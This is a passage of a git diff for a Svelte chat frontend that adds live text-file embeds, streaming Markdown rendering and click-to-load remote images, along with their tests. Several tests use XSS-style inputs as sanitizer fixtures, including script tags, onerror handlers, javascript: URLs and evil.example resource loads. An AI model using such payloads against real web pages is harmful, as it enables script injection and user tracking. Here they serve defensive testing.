+ offset += token.raw.length;
+ const children = token.type === "paragraph" ? token.tokens : undefined;
+ const link = children?.length === 1 ? children[0] : undefined;
+ const path =
+ link?.type === "link" &&
+ link.title === null &&
+ // Reference-style links and multiline paragraphs are deliberately not embeds.
+ /^\s*\[[\s\S]*\]\(/.test(token.raw) &&
+ !token.raw.trim().includes("\n")
+ ? textFilePath(link.href)
+ : null;
+ // During streaming wait for a paragraph boundary, not merely a closing ')'
+ // that could still grow into adjacent prose on the next delta.
+ const settled = !streaming || /^\s*\n/.test(text.slice(offset));
+ if (path !== null && link?.type === "link" && settled && embeds < 8) {
+ embeds++;
+ if (prose) parts.push({ kind: "markdown", text: prose });
+ prose = "";
+ parts.push({ kind: "text-file", reference: { label: link.text, path } });
+ } else {
+ prose += token.raw;
+ if (path !== null && settled && embeds >= 8)
+ prose += "\n\n_Text-file embed limit reached (8 per message)._\n\n";
+ }
+ }
+ if (prose) parts.push({ kind: "markdown", text: prose });
+ // Reference definitions apply document-wide, even across embed boundaries.
+ const definitions = tokens
+ .filter((token) => token.type === "def")
+ .map((token) => token.raw)
+ .join("\n");
+ return embeds && definitions
+ ? parts.map((part) =>
+ part.kind === "markdown"
+ ? {
+ ...part,
+ text: `${part.text}\n\n${definitions}`,
+ }
+ : part,
+ )
+ : parts;
+}
+
+/** Restore top-level fence context when the tail begins inside a code fence. */
+function fenceAt(lines: readonly string[], end: number): string | null {
+ let fence: { marker: string; info: string } | null = null;
+ for (const line of lines.slice(0, end)) {
+ if (fence) {
+ const close = /^ {0,3}(`+|~+)\s*$/.exec(line)?.[1];
+ if (close && close[0] === fence.marker[0] && close.length >= fence.marker.length)
+ fence = null;
+ } else {
+ const match = /^ {0,3}(`{3,}|~{3,})(.*)$/.exec(line);
+ if (match?.[1]) fence = { marker: match[1], info: match[2] ?? "" };
+ }
+ }
+ return fence ? `${fence.marker}${fence.info}` : null;
+}
+export function textFilePreview(text: string, markdown: boolean) {
+ const lines = text.replace(/\r\n/g, "\n").replace(/\n$/, "").split("\n");
+ if (lines.length <= 12) return { head: text, tail: "", omitted: 0 };
+ const headLines = lines.slice(0, 6);
+ const tailLines = lines.slice(-6);
+ const headFence = markdown ? fenceAt(lines, 6) : null;
+ const tailFence = markdown ? fenceAt(lines, lines.length - 6) : null;
+ return {
+ head: headLines.join("\n") + (headFence ? `\n${headFence.match(/^[`~]+/)?.[0]}` : ""),
+ tail: (tailFence ? `${tailFence}\n` : "") + tailLines.join("\n"),
+ omitted: lines.length - 12,
+ };
+}
diff --git a/src/features/markdown/types.ts b/src/features/markdown/types.ts
new file mode 100644
index 0000000..cb3fe8d
--- /dev/null
+++ b/src/features/markdown/types.ts
@@ -0,0 +1,13 @@
+import type { TextFileContextResponse, TextFileResponse } from "@dispatch/transport-contract";
+
+export type TextFileState =
+ | { readonly kind: "loading" }
+ | { readonly kind: "error"; readonly message: string }
+ | { readonly kind: "ready"; readonly file: TextFileResponse };
+export interface TextFileClient {
+ subscribe(path: string, listener: (state: TextFileState) => void): () => void;
+ /** Refresh context as well as the live on-disk file. */
+ refresh(path: string): void;
+ dispose(): void;
+}
+export type TextFileContext = TextFileContextResponse;
diff --git a/src/features/markdown/ui/Markdown.svelte b/src/features/markdown/ui/Markdown.svelte
index 72b892b..c33f9f6 100644
--- a/src/features/markdown/ui/Markdown.svelte
+++ b/src/features/markdown/ui/Markdown.svelte
@@ -1,58 +1,33 @@
<script lang="ts">
- import { renderMarkdown } from "../logic/markdown";
+ import type { MarkdownImageOptions } from "../logic/markdown";
+ import { splitTextFiles } from "../logic/text-file";
+ import type { TextFileClient } from "../types";
+ import MarkdownContent from "./MarkdownContent.svelte";
+ import TextFileEmbed from "./TextFileEmbed.svelte";
let {
text,
streaming = false,
+ image = undefined,
+ textFiles = undefined,
}: {
text: string;
- /** Balance dangling delimiters while the message is still generating. */
streaming?: boolean;
+ image?: MarkdownImageOptions | undefined;
+ /** Explicit opt-in; embedded documents never receive this port. */
+ textFiles?: TextFileClient | undefined;
} = $props();
-
- // Pure transform; the HTML is already DOMPurify-sanitized in renderMarkdown.
- const html = $derived(renderMarkdown(text, { streaming }));
-
- let container: HTMLElement;
-
- // One delegated listener on the stable container handles every code block's
- // copy button — including blocks re-created when `html` changes (streaming),
- // since the listener lives on the container, not the buttons. Clipboard is the
- // edge effect; absent (insecure context) → no-op.
- $effect(() => {
- const el = container;
- if (el === undefined) return;
-
- const onClick = (event: Event): void => {
- const target = event.target;
- if (!(target instanceof Element)) return;
- const button = target.closest<HTMLButtonElement>("[data-copy]");
- if (button === null) return;
-
- const code = button.closest(".code-block")?.querySelector("code")?.textContent ?? "";
- const clipboard = navigator.clipboard;
- if (clipboard === undefined) return;
-
- void clipboard
- .writeText(code)
- .then(() => {
- const prev = button.textContent;
- button.textContent = "Copied";
- setTimeout(() => {
- button.textContent = prev;
- }, 1200);
- })
- .catch(() => {
- // Clipboard denied — leave the button as-is.
- });
- };
-
- el.addEventListener("click", onClick);
- return () => el.removeEventListener("click", onClick);
- });
+ const parts = $derived(textFiles ? splitTextFiles(text, streaming) : null);
</script>
-<div class="markdown-body" bind:this={container}>
- <!-- {@html} is safe here: `html` is DOMPurify-sanitized inside renderMarkdown. -->
- {@html html}
-</div>
+{#if parts && textFiles}
+ {#each parts as part, i (i)}
+ {#if part.kind === "text-file"}
+ <TextFileEmbed reference={part.reference} client={textFiles} {image} />
+ {:else}
+ <MarkdownContent text={part.text} {streaming} {image} />
+ {/if}
+ {/each}
+{:else}
+ <MarkdownContent {text} {streaming} {image} />
+{/if}
diff --git a/src/features/markdown/ui/MarkdownContent.svelte b/src/features/markdown/ui/MarkdownContent.svelte
new file mode 100644
index 0000000..6149d6b
--- /dev/null
+++ b/src/features/markdown/ui/MarkdownContent.svelte
@@ -0,0 +1,116 @@
+<script lang="ts">
+ import { type MarkdownImageOptions, renderMarkdown } from "../logic/markdown";
+ import { advance, createStreamingMarkdown } from "../logic/streaming-markdown";
+
+ let {
+ text,
+ streaming = false,
+ image = undefined,
+ }: {
+ text: string;
+ /** Balance dangling delimiters while the message is still generating. */
+ streaming?: boolean;
+ /**
+ * Per-conversation local-image context: the backend HTTP base and the
+ * conversation cwd. Markdown image srcs that are local paths are rewritten
+ * through `${apiBase}/local-image?path=…` (relative paths resolve against
+ * `cwd`). Remote HTTP(S) images require a click; data, same-origin and
+ * backend images load inline. Omit it to skip local-path rewriting.
+ */
+ image?: MarkdownImageOptions | undefined;
+ } = $props();
+
+ // Keep the optional `image` out of the options object when absent
+ // (exactOptionalPropertyTypes). Identity is irrelevant: the streaming cache
+ // keys on apiBase/cwd values.
+ const renderOpts = $derived(image === undefined ? undefined : { image });
+
+ // Checkpoint streaming state: one per component instance (per streaming
+ // message). It caches the settled blocks' HTML so each delta re-renders only
+ // the live tail — never the settled prefix (see logic/streaming-markdown).
+ const streamingState = createStreamingMarkdown();
+
+ // While streaming: the checkpoint split (settled prefix + live tail), which
+ // equals today's full render at every step modulo inter-block newlines and
+ // highlight-on-close. When the message completes (or for every non-streaming
+ // chunk): ONE full authoritative render — today's exact behavior, so the
+ // final/persisted output is byte-identical by construction.
+ const rendered = $derived.by(() => {
+ if (!streaming) return { prefixHtml: "", tailHtml: renderMarkdown(text, renderOpts) };
+ return advance(streamingState, text, renderOpts);
+ });
+
+ let container: HTMLElement;
+
+ // One delegated listener on the stable container handles image consent and
+ // every code block's copy button — including blocks re-created when the tail html changes
+ // (streaming), since the listener lives on the container, not the buttons.
+ // Clipboard is the edge effect; absent (insecure context) → no-op.
+ $effect(() => {
+ const el = container;
+ if (el === undefined) return;
+
+ const onClick = (event: Event): void => {
+ const target = event.target;
+ if (!(target instanceof Element)) return;
+ const remote = target.closest<HTMLButtonElement>("button.remote-image[data-src]");
+ if (remote !== null && el.contains(remote)) {
+ event.preventDefault(); // A Markdown image may be wrapped in a link.
+ event.stopPropagation();
+ // data-* is authorable in raw HTML: validate again at the DOM edge.
+ let url: URL;
+ try {
+ url = new URL(remote.dataset.src ?? "");
+ } catch {
+ return;
+ }
+ if (url.protocol !== "http:" && url.protocol !== "https:") return;
+ const img = el.ownerDocument.createElement("img");
+ img.alt = remote.dataset.alt ?? "";
+ if (remote.dataset.title !== undefined) img.title = remote.dataset.title;
+ img.setAttribute("referrerpolicy", "no-referrer");
+ img.src = url.href;
+ remote.replaceWith(img);
+ return;
+ }
+ const button = target.closest<HTMLButtonElement>("[data-copy]");
+ if (button === null) return;
+
+ const code = button.closest(".code-block")?.querySelector("code")?.textContent ?? "";
+ const clipboard = navigator.clipboard;
+ if (clipboard === undefined) return;
+
+ void clipboard
+ .writeText(code)
+ .then(() => {
+ const prev = button.textContent;
+ button.textContent = "Copied";
+ setTimeout(() => {
+ button.textContent = prev;
+ }, 1200);
+ })
+ .catch(() => {
+ // Clipboard denied — leave the button as-is.
+ });
+ };
+
+ el.addEventListener("click", onClick);
+ return () => el.removeEventListener("click", onClick);
+ });
+</script>
+
+<div class="markdown-body" bind:this={container}>
+ {#if streaming}
+ <!-- Two sibling wrappers (no padding/border/min-height, so block margins
+ collapse across them exactly as if the blocks were direct children).
+ Svelte 5 skips the {@html} DOM write when the string is unchanged, so
+ the settled prefix's subtree is never re-parsed/re-created/re-laid-out;
+ only the tail's subtree is replaced per delta. Both strings are
+ DOMPurify-sanitized in the logic modules. -->
+ <div class="markdown-stream-prefix">{@html rendered.prefixHtml}</div>
+ <div class="markdown-stream-tail">{@html rendered.tailHtml}</div>
+ {:else}
+ <!-- {@html} is safe here: `html` is DOMPurify-sanitized inside renderMarkdown. -->
+ {@html rendered.tailHtml}
+ {/if}
+</div>
diff --git a/src/features/markdown/ui/TextFileEmbed.svelte b/src/features/markdown/ui/TextFileEmbed.svelte
new file mode 100644
index 0000000..2e1a7a3
--- /dev/null
+++ b/src/features/markdown/ui/TextFileEmbed.svelte
@@ -0,0 +1,113 @@
+<script lang="ts">
+ import { untrack } from "svelte";
+ import type { MarkdownImageOptions } from "../logic/markdown";
+ import { textFilePreview, type TextFileReference } from "../logic/text-file";
+ import type { TextFileClient, TextFileState } from "../types";
+ import MarkdownContent from "./MarkdownContent.svelte";
+
+ let {
+ reference,
+ client,
+ image = undefined,
+ }: {
+ reference: TextFileReference;
+ client: TextFileClient;
+ image?: MarkdownImageOptions | undefined;
+ } = $props();
+ let loadState = $state<TextFileState>({ kind: "loading" });
+ let expanded = $state(false);
+ const preview = $derived(
+ loadState.kind === "ready"
+ ? textFilePreview(loadState.file.text, loadState.file.format === "markdown")
+ : null,
+ );
+ const path = $derived(reference.path);
+ const currentClient = $derived(client);
+ $effect(() => {
+ const source = currentClient;
+ const destination = path;
+ expanded = false;
+ // The callback can publish synchronously. Only routing changes, not reads
+ // inside a subscriber or unrelated parent prop updates, own this effect.
+ return untrack(() =>
+ source.subscribe(destination, (next) => {
+ loadState = next;
+ }),
+ );
+ });
+ // Use the resolved file's directory for local images, not the chat's cwd.
+ const documentImage = $derived(
+ loadState.kind === "ready" && image
+ ? {
+ apiBase: image.apiBase,
+ cwd: loadState.file.path.slice(0, loadState.file.path.lastIndexOf("/")) || "/",
+ }
+ : image,
+ );
+</script>
+
+<section
+ class="inset-well my-2 w-full min-w-0 rounded-box text-sm"
+ aria-label={`Text file: ${reference.label}`}
+>
+ <header class="flex min-w-0 flex-wrap items-center gap-2 px-4 py-2 font-medium">
+ <span aria-hidden="true">▤</span>
+ <span>{reference.label}</span>
+ <span class="min-w-0 flex-1 break-all font-mono text-xs font-normal text-base-content/60"
+ >{reference.path}</span
+ >
+ <button
+ type="button"
+ class="btn btn-ghost btn-xs"
+ onclick={() => client.refresh(reference.path)}
+ disabled={loadState.kind === "loading"}
+ >
+ {loadState.kind === "error" ? "Retry" : "Refresh"}
+ </button>
+ </header>
+ <div class="min-w-0 px-4 pb-4">
+ {#if loadState.kind === "loading"}
+ <p role="status">
+ <span class="loading loading-dots loading-sm" aria-hidden="true"></span> Loading text file…
+ </p>
+ {:else if loadState.kind === "error"}
+ <p role="alert" class="text-error">{loadState.message}</p>
+ {:else if loadState.file.text === ""}
+ <p class="italic text-base-content/60">Empty file</p>
+ {:else if preview}
+ {#if expanded}
+ {@render content(loadState.file.text, loadState.file.format)}
+ {:else}
+ {@render content(preview.head, loadState.file.format)}
+ {#if preview.omitted > 0}
+ <p class="my-2 border-y border-base-content/20 py-2 text-xs text-base-content/60">
+ ⋯ {preview.omitted} source lines omitted ⋯
+ </p>
+ {@render content(preview.tail, loadState.file.format)}
+ {/if}
+ {/if}
+ <button
+ type="button"
+ class="btn btn-soft btn-xs mt-2"
+ aria-expanded={expanded}
+ onclick={() => {
+ expanded = !expanded;
+ }}
+ >
+ {expanded ? "Collapse document" : "Expand document"}
+ </button>
+ <p class="mt-2 text-xs text-base-content/50">
+ Live file · Refresh rereads disk · maximum 256 KiB
+ </p>
+ {/if}
+ </div>
+</section>
+
+{#snippet content(text: string, format: "markdown" | "text")}
+ {#if format === "markdown"}
+ <!-- No textFiles port: nested references are inert, even in expanded content. -->
+ <MarkdownContent {text} image={documentImage} />
+ {:else}
+ <pre class="overflow-x-auto whitespace-pre font-mono text-xs"><code>{text}</code></pre>
+ {/if}
+{/snippet}
diff --git a/src/features/markdown/ui/markdown.test.ts b/src/features/markdown/ui/markdown.test.ts
index d65b3d1..b86cc0a 100644
--- a/src/features/markdown/ui/markdown.test.ts
+++ b/src/features/markdown/ui/markdown.test.ts
@@ -1,4 +1,5 @@
import { fireEvent, render, screen } from "@testing-library/svelte";
+import hljs from "highlight.js/lib/core";
import { describe, expect, it, vi } from "vitest";
import Markdown from "./Markdown.svelte";
@@ -37,4 +38,154 @@ describe("Markdown", () => {
expect(writeText).toHaveBeenCalledTimes(1);
expect(writeText.mock.calls[0]?.[0]).toContain("const x = 1;");
});
+
+ it.each([
+ false,
+ true,
+ ])("loads only the clicked remote image (streaming=%s)", async (streaming) => {
+ const { container } = render(Markdown, {
+ props: {
+ text: '![first](https://evil.example/a.png "A title")\n\n![second](https://other.example/b.png)',
+ streaming,
+ },
+ });
+ expect(container.querySelector("img")).toBeNull();
+ const button = screen.getByRole("button", { name: "Load image from evil.example" });
+ await fireEvent.click(button);
+ const img = container.querySelector("img");
+ expect(img?.getAttribute("src")).toBe("https://evil.example/a.png");
+ expect(img?.getAttribute("alt")).toBe("first");
+ expect(img?.getAttribute("title")).toBe("A title");
+ expect(img?.getAttribute("referrerpolicy")).toBe("no-referrer");
+ expect(
+ screen.getByRole("button", { name: "Load image from other.example" }),
+ ).toBeInTheDocument();
+ });
+
+ it.each([
+ false,
+ true,
+ ])("keeps non-image HTML inert before and after image consent (streaming=%s)", async (streaming) => {
+ const { container } = render(Markdown, {
+ props: {
+ text: '<div style="background:url(https://evil.example/bg)"><video poster="https://evil.example/poster" src="https://evil.example/video"></video><svg><image href="https://evil.example/svg" /></svg><input type="image" src="https://evil.example/input"><img src="https://evil.example/allowed-after-click"></div>',
+ streaming,
+ },
+ });
+ expect(container.querySelector("video,svg,input,[style],img")).toBeNull();
+ await fireEvent.click(screen.getByRole("button", { name: "Load image from evil.example" }));
+ expect(container.querySelectorAll("img")).toHaveLength(1);
+ expect(container.querySelector("img")?.getAttribute("src")).toBe(
+ "https://evil.example/allowed-after-click",
+ );
+ expect(container.querySelector("video,svg,input,[style]")).toBeNull();
+ });
+
+ it("rejects an unsafe URL in a forged placeholder", async () => {
+ const { container } = render(Markdown, {
+ props: { text: '<button class="remote-image" data-src="javascript:alert(1)">Load</button>' },
+ });
+ await fireEvent.click(screen.getByRole("button", { name: "Load" }));
+ expect(container.querySelector("img")).toBeNull();
+ });
+
+ it("delegates clicks on newly rendered images and prevents linked-image navigation", async () => {
+ const { container, rerender } = render(Markdown, { props: { text: "start" } });
+ await rerender({ text: "[![pic](https://evil.example/a.png)](https://other.example)" });
+ const button = screen.getByRole("button", { name: "Load image from evil.example" });
+ expect(await fireEvent.click(button)).toBe(false);
+ expect(container.querySelector("img")?.getAttribute("src")).toBe("https://evil.example/a.png");
+ });
+
+ it("non-streaming renders a single container (today's full-render path)", () => {
+ const { container } = render(Markdown, { props: { text: "# Hello" } });
+ expect(container.querySelector(".markdown-stream-prefix")).toBeNull();
+ expect(container.querySelector(".markdown-stream-tail")).toBeNull();
+ // The rendered blocks are DIRECT children of .markdown-body (no wrappers).
+ const body = container.querySelector(".markdown-body");
+ expect(body?.querySelector("h1")).not.toBeNull();
+ expect(body?.children[0]?.tagName).toBe("H1");
+ });
+
+ it("streaming renders the prefix/tail split with content matching the full render", () => {
+ const { container } = render(Markdown, {
+ props: { text: "# Hello\n\nsettled paragraph\n\ngrowing tail", streaming: true },
+ });
+
+ const prefix = container.querySelector<HTMLElement>(".markdown-stream-prefix");
+ const tail = container.querySelector<HTMLElement>(".markdown-stream-tail");
+ expect(prefix).not.toBeNull();
+ expect(tail).not.toBeNull();
+ // Same visible content as today's render, split across the two containers.
+ expect(screen.getByRole("heading", { level: 1, name: "Hello" })).toBeInTheDocument();
+ expect(container.textContent).toContain("growing tail");
+ expect(prefix?.querySelector("h1")).not.toBeNull();
+ });
+
+ it("streaming: the settled prefix's html string identity is stable across text appends (no DOM churn)", async () => {
+ const spy = vi.spyOn(hljs, "highlight");
+ const { container, rerender } = render(Markdown, {
+ props: { text: "intro\n\n```js\nconst x = 1;\n```\n\nafter", streaming: true },
+ });
+
+ const prefixBefore = container.querySelector(".markdown-stream-prefix")?.innerHTML;
+ expect(prefixBefore).toContain("hljs-keyword"); // the closed fence settled, highlighted once
+ expect(spy).toHaveBeenCalledTimes(1);
+
+ // Appends that settle nothing leave the prefix string (and its DOM) alone.
+ await rerender({ text: "intro\n\n```js\nconst x = 1;\n```\n\nafter and", streaming: true });
+ await rerender({
+ text: "intro\n\n```js\nconst x = 1;\n```\n\nafter and more",
+ streaming: true,
+ });
+ expect(container.querySelector(".markdown-stream-prefix")?.innerHTML).toBe(prefixBefore);
+ expect(spy).toHaveBeenCalledTimes(1); // still exactly one highlight
+ });
+
+ it("streaming: an open fence renders uncolored, then highlights exactly once when it closes", async () => {
+ const spy = vi.spyOn(hljs, "highlight");
+ const { container, rerender } = render(Markdown, {
+ props: { text: "intro\n\n```js\nconst x", streaming: true },
+ });
+
+ const tail = container.querySelector<HTMLElement>(".markdown-stream-tail");
+ expect(tail?.innerHTML).toContain("<pre><code");
+ expect(tail?.innerHTML).toContain("data-copy"); // same copy button
+ expect(tail?.innerHTML).not.toContain("hljs-keyword"); // uncolored while open
+ expect(spy).not.toHaveBeenCalled();
+
+ // Close the fence → highlighted EXACTLY once, settled into the prefix.
+ await rerender({ text: "intro\n\n```js\nconst x = 1;\n```\n\ndone", streaming: true });
+ expect(spy).toHaveBeenCalledTimes(1);
+ expect(container.querySelector(".markdown-stream-prefix")?.innerHTML).toContain("hljs-keyword");
+ });
+
+ it("streaming → done flips to the single-container full render (completion backstop)", async () => {
+ const { container, rerender } = render(Markdown, {
+ props: { text: "# Hello\n\nbody", streaming: true },
+ });
+ expect(container.querySelector(".markdown-stream-prefix")).not.toBeNull();
+
+ await rerender({ text: "# Hello\n\nbody", streaming: false });
+ expect(container.querySelector(".markdown-stream-prefix")).toBeNull();
+ expect(container.querySelector(".markdown-stream-tail")).toBeNull();
+ expect(screen.getByRole("heading", { level: 1, name: "Hello" })).toBeInTheDocument();
+ });
+
+ it("streaming: the delegated copy-button listener still works for tail code blocks", async () => {
+ const writeText = vi.fn().mockResolvedValue(undefined);
+ Object.defineProperty(navigator, "clipboard", { value: { writeText }, configurable: true });
+
+ const { container } = render(Markdown, {
+ props: { text: "para\n\n```js\nconst y = 2;", streaming: true },
+ });
+
+ const button = container.querySelector<HTMLElement>("[data-copy]");
+ expect(button).not.toBeNull();
+ if (button === null) throw new Error("expected a copy button");
+ await fireEvent.click(button);
+
+ expect(writeText).toHaveBeenCalledTimes(1);
+ expect(writeText.mock.calls[0]?.[0]).toContain("const y = 2;");
+ });
});
diff --git a/src/features/markdown/ui/text-file.test.ts b/src/features/markdown/ui/text-file.test.ts
new file mode 100644
index 0000000..cbbf11e
--- /dev/null
+++ b/src/features/markdown/ui/text-file.test.ts
@@ -0,0 +1,190 @@
+import { fireEvent, render, screen, waitFor } from "@testing-library/svelte";
+import { describe, expect, it, vi } from "vitest";
+import { createTextFileClient } from "../adapter/text-file";
+import Markdown from "./Markdown.svelte";
+
+const json = (data: unknown, status = 200) => new Response(JSON.stringify(data), { status });
+const context = { conversationId: "c", cwd: "/project", computerId: null };
+function fixture(text: string, format: "markdown" | "text" = "markdown") {
+ const fetcher = vi.fn<typeof fetch>().mockImplementation(async (url) =>
+ json(
+ String(url).endsWith("-context")
+ ? context
+ : {
+ path: "/project/notes/plan.md",
+ text,
+ format,
+ bytes: new TextEncoder().encode(text).length,
+ maxBytes: 262144,
+ },
+ ),
+ );
+ return { fetcher, client: createTextFileClient("/api", "c", fetcher) };
+}
+describe("rendered live text-file embeds", () => {
+ it("renders Markdown head/tail source lines and expands/collapses the full sanitized document", async () => {
+ const text = Array.from({ length: 20 }, (_, i) => `## Line ${i + 1}`).join("\n");
+ const { client, fetcher } = fixture(text);
+ const { unmount } = render(Markdown, {
+ text: "Summary\n\n[Plan](text-file:notes/plan.md)",
+ textFiles: client,
+ });
+ expect(screen.getByRole("status")).toHaveTextContent("Loading text file");
+ await screen.findByRole("heading", { name: "Line 1" });
+ expect(screen.getByRole("heading", { name: "Line 6" })).toBeInTheDocument();
+ expect(screen.getByRole("heading", { name: "Line 15" })).toBeInTheDocument();
+ expect(screen.getByRole("heading", { name: "Line 20" })).toBeInTheDocument();
+ expect(screen.queryByRole("heading", { name: "Line 10" })).not.toBeInTheDocument();
+ expect(screen.getByText(/8 source lines omitted/)).toBeInTheDocument();
+ await fireEvent.click(screen.getByRole("button", { name: "Expand document" }));
+ expect(screen.getByRole("heading", { name: "Line 10" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "Collapse document" })).toHaveAttribute(
+ "aria-expanded",
+ "true",
+ );
+ await fireEvent.click(screen.getByRole("button", { name: "Collapse document" }));
+ expect(screen.queryByRole("heading", { name: "Line 10" })).not.toBeInTheDocument();
+ expect(fetcher).toHaveBeenCalledTimes(2);
+ unmount();
+ client.dispose();
+ });
+ it("short documents don't duplicate; nested embeds are inert; HTML stays sanitized and remote images require consent", async () => {
+ const text =
+ '# Short\n\n[nested](text-file:secret.md)\n\n<script>alert(1)</script><img src="https://evil.example/a.png" onerror="alert(1)">\n\n[bad](javascript:alert(1))';
+ const { client, fetcher } = fixture(text);
+ const { container, unmount } = render(Markdown, {
+ text: "[Plan](text-file:notes/plan.md)",
+ textFiles: client,
+ });
+ await screen.findByRole("heading", { name: "Short" });
+ expect(screen.getAllByRole("heading", { name: "Short" })).toHaveLength(1);
+ expect(
+ container.querySelector("script,[onerror],a[href^='javascript:'],a[href^='text-file:'],img"),
+ ).toBeNull();
+ expect(container.textContent).toContain("nested");
+ await fireEvent.click(screen.getByRole("button", { name: "Expand document" }));
+ await fireEvent.click(screen.getByRole("button", { name: "Load image from evil.example" }));
+ expect(container.querySelector("img")?.getAttribute("src")).toBe("https://evil.example/a.png");
+ expect(fetcher).toHaveBeenCalledTimes(2);
+ unmount();
+ client.dispose();
+ });
+ it("does not render omitted images before expansion; restores tail fence context", async () => {
+ const text =
+ "# Head\n\n1\n2\n3\n4\n![hidden](https://hidden.example/a.png)\n```js\n" +
+ Array.from({ length: 20 }, () => 'const x = "safe";').join("\n") +
+ "\n```";
+ const { client } = fixture(text);
+ const { container, unmount } = render(Markdown, {
+ text: "[Plan](text-file:a.md)",
+ textFiles: client,
+ });
+ await screen.findByRole("heading", { name: "Head" });
+ expect(
+ screen.queryByRole("button", { name: "Load image from hidden.example" }),
+ ).not.toBeInTheDocument();
+ expect(container.querySelector("code.language-js")).not.toBeNull();
+ await fireEvent.click(screen.getByRole("button", { name: "Expand document" }));
+ expect(
+ screen.getByRole("button", { name: "Load image from hidden.example" }),
+ ).toBeInTheDocument();
+ expect(container.querySelector("img")).toBeNull();
+ unmount();
+ client.dispose();
+ });
+ it("renders plain text with safe whitespace and no Markdown/HTML interpretation", async () => {
+ const { client } = fixture("# heading\n <script>bad</script>\n\tlast", "text");
+ const { container, unmount } = render(Markdown, {
+ text: "[Text](text-file:a.txt)",
+ textFiles: client,
+ });
+ await waitFor(() =>
+ expect(container.querySelector("pre code")?.textContent).toBe(
+ "# heading\n <script>bad</script>\n\tlast",
+ ),
+ );
+ expect(container.querySelector("script,h1")).toBeNull();
+ unmount();
+ client.dispose();
+ });
+ it("empty, error, Retry and Refresh states reread rather than insert file text into source", async () => {
+ const { client, fetcher } = fixture("");
+ fetcher
+ .mockResolvedValueOnce(json(context))
+ .mockResolvedValueOnce(json({ error: "Missing file" }, 404));
+ const { unmount } = render(Markdown, { text: "[Plan](text-file:a.md)", textFiles: client });
+ expect(await screen.findByRole("alert")).toHaveTextContent("Missing file");
+ await fireEvent.click(screen.getByRole("button", { name: "Retry" }));
+ await screen.findByText("Empty file");
+ await fireEvent.click(screen.getByRole("button", { name: "Refresh" }));
+ await screen.findByText("Empty file");
+ expect(fetcher).toHaveBeenCalledTimes(6);
+ unmount();
+ client.dispose();
+ });
+ it("never fetches without opt-in, for incomplete streaming, code or forged raw HTML", async () => {
+ const { client, fetcher } = fixture("body");
+ const { rerender, unmount } = render(Markdown, { text: "[Plan](text-file:a.md)" });
+ await rerender({
+ text: '<div data-text-file="secret.md"><button data-path="secret.md">Fake</button></div>\n\n`[Plan](text-file:a.md)`\n\n```\n[Plan](text-file:a.md)\n```',
+ textFiles: client,
+ });
+ await rerender({ text: "[Plan](text-file:a.md)", streaming: true, textFiles: client });
+ expect(fetcher).not.toHaveBeenCalled();
+ await rerender({ text: "[Plan](text-file:a.md)\n\ntail", streaming: true, textFiles: client });
+ await screen.findByText("body");
+ await rerender({
+ text: "[Plan](text-file:a.md)\n\ntail growing",
+ streaming: true,
+ textFiles: client,
+ });
+ await rerender({
+ text: "[Plan](text-file:a.md)\n\ntail growing",
+ streaming: false,
+ textFiles: client,
+ });
+ expect(fetcher).toHaveBeenCalledTimes(2);
+ unmount();
+ client.dispose();
+ });
+ it("ignores old conversation results after the context-bound client changes", async () => {
+ let finish: (r: Response) => void = () => {};
+ const old = fixture("old");
+ old.fetcher.mockResolvedValueOnce(json(context)).mockImplementationOnce(
+ () =>
+ new Promise((r) => {
+ finish = r;
+ }),
+ );
+ const next = fixture("new");
+ const { rerender, unmount } = render(Markdown, {
+ text: "[Plan](text-file:a.md)",
+ textFiles: old.client,
+ });
+ await waitFor(() => expect(old.fetcher).toHaveBeenCalledTimes(2));
+ await rerender({ text: "[Plan](text-file:a.md)", textFiles: next.client });
+ await screen.findByText("new");
+ finish(
+ json({ path: "/old/a.md", text: "old", format: "markdown", bytes: 3, maxBytes: 262144 }),
+ );
+ await waitFor(() => expect(screen.queryByText("old")).not.toBeInTheDocument());
+ expect(old.fetcher.mock.calls[1]?.[1]?.signal?.aborted).toBe(true);
+ unmount();
+ old.client.dispose();
+ next.client.dispose();
+ });
+ it("deduplicates repeated blocks without replacing them on per-token appends", async () => {
+ const { client, fetcher } = fixture("# shared");
+ const text = "[one](text-file:a.md)\n\n[two](text-file:a.md)\n\n";
+ const { rerender, unmount } = render(Markdown, { text, streaming: true, textFiles: client });
+ await waitFor(() => expect(screen.getAllByRole("heading", { name: "shared" })).toHaveLength(2));
+ await fireEvent.click(
+ screen.getAllByRole("button", { name: "Expand document" })[0] as HTMLElement,
+ );
+ await rerender({ text: `${text}growing`, streaming: true, textFiles: client });
+ expect(screen.getByRole("button", { name: "Collapse document" })).toBeInTheDocument();
+ expect(fetcher).toHaveBeenCalledTimes(2);
+ unmount();
+ client.dispose();
+ });
+});
diff --git a/src/features/named-agents/index.ts b/src/features/named-agents/index.ts
new file mode 100644
index 0000000..e66ef8e
--- /dev/null
+++ b/src/features/named-agents/index.ts
@@ -0,0 +1,64 @@
+export {
+ type AgentDraft,
+ type AgentSaved,
+ type DraftValidity,
+ draftModel,
+ draftValidity,
+ isClean,
+ isDirty,
+ type SaveStatus,
+ saveStatus,
+ saveStatusLabel,
+} from "./logic/auto-save";
+export {
+ normalizeNamedAgent,
+ normalizeNamedAgentRecord,
+ normalizeNamedAgents,
+ toNamedAgentInput,
+} from "./logic/normalize";
+export {
+ fullModelFromSelection,
+ joinModel,
+ modelFromFull,
+ modelsForProvider,
+ openCodeNumber,
+ providerFromModel,
+ providerLabel,
+ providerOptions,
+} from "./logic/options";
+export { findNamedAgent, snapshotFor } from "./logic/snapshot";
+export type {
+ CreateNamedAgent,
+ DeleteNamedAgent,
+ LoadNamedAgents,
+ NamedAgent,
+ NamedAgentDeleteResult,
+ NamedAgentInput,
+ NamedAgentResponse,
+ NamedAgentSaveResult,
+ NamedAgentSelectionSnapshot,
+ NamedAgentsResponse,
+ NamedAgentsResult,
+ UpdateNamedAgent,
+} from "./logic/types";
+export {
+ isUsableModel,
+ isUsableName,
+ nameError,
+ normalizeName,
+} from "./logic/validate";
+export {
+ type CardController,
+ type CardControllerOptions,
+ type CardSaveState,
+ createCardController,
+ type NamedAgentPorts,
+} from "./ui/controller.svelte";
+export { default as NamedAgentCard } from "./ui/NamedAgentCard.svelte";
+export { default as NamedAgentsView } from "./ui/NamedAgentsView.svelte";
+
+/** Public module manifest — aggregated by the shell's "Loaded Modules" view. */
+export const manifest = {
+ name: "named-agents",
+ description: "Curated Named Agent presets (name + model) in the sidebar",
+} as const;
diff --git a/src/features/named-agents/logic/auto-save.test.ts b/src/features/named-agents/logic/auto-save.test.ts
new file mode 100644
index 0000000..24c9571
--- /dev/null
+++ b/src/features/named-agents/logic/auto-save.test.ts
